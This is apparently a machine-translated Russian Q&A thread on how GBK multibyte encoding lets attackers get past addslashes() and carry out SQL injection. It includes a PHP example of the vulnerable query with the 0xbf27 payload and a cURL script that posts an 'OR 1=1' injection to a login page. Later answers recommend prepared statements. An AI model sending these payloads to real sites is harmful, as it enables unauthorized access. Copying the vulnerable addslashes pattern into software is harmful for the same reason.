4 ответов:
Ну вот статья, которую вы хотите.
В основном, способ атаки работает, получая
addslashes()поставить обратную косую черту в середине многобайтового символа таким образом, что обратная косая черта теряет свое значение, будучи частью допустимой многобайтовой последовательности.общая оговорка из статьи:
этот тип атаки возможен с любой кодировкой символов, где существует допустимый многобайтовый символ, который заканчивается на
0x5c, потому чтоaddslashes()может быть обманут в создании допустимого многобайтового символа вместо того, чтобы избегать единственной цитаты, которая следует. UTF-8 не подходит это описание.
Крис Шифлетт ясно объясняет с приведенным ниже примером, что будет, конечно, работать, если вы попробуете его при использовании кодировки GBK в вашей базе данных. Даже я попробовал, это доказывает, что есть шансы для SQL-инъекции, хотя они очень меньше, но кто-то с хорошими знаниями и возможностями может легко ввести. Вот вам пример...
<?php $mysql = array(); $db = mysqli_init(); $db->real_connect('localhost', 'myuser', 'mypass', 'mydb'); /* SQL Injection Example */ $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*'; $_POST['password'] = 'guess'; $mysql['username'] = addslashes($_POST['username']); $mysql['password'] = addslashes($_POST['password']); $sql = "SELECT * FROM users WHERE username = '{$mysql['username']}' AND password = '{$mysql['password']}'"; $result = $db->query($sql); if ($result->num_rows) { /* Success */ } else { /* Failure */ } ?>хотя использование функция addslashes() или magic_quotes_gpc, как правило, рассматриваться в качестве какой-то безопасности, использования ГБК это сделало бы их почти бесполезными. Следующий скрипт php cURL сможет использовать инъекцию, я надеюсь, что это поможет вам немного больше понять:
<?php $url = "http://www.victimsite.com/login.php"; $ref = "http://www.victimsite.com/index.php"; $session = "PHPSESSID=abcdef01234567890abcdef01"; $ch = curl_init(); curl_setopt( $ch, CURLOPT_URL, $url ); curl_setopt( $ch, CURLOPT_REFERER, $ref ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE ); curl_setopt( $ch, CURLOPT_COOKIE, $session ); curl_setopt( $ch, CURLOPT_POST, TRUE ); curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) . "OR 1=1/*&submit=1" ); $data = curl_exec( $ch ); print( $data ); curl_close( $ch ); ?>
как дополнение для читателей ответов здесь: эта ошибка MySQL уже исправлена:)
кроме того, это всегда хорошая практика, чтобы использовать подготовленные операторы. Это самый свободный от эксплойтов способ запуска запросов (и, в нескольких случаях использования, наиболее эффективный). И это спасло бы вас от этого недостатка.
mysql_real_escape_string () против подготовленных операторов четко объясняет mysql_real_escape_string () не является 100% безопасным.
используя mysql_set_charset ('GBK') заменить mysql_query ("SET CHARACTER SET 'GBK'"), mysql_real_escape_string () может быть 100% безопасным.
Comments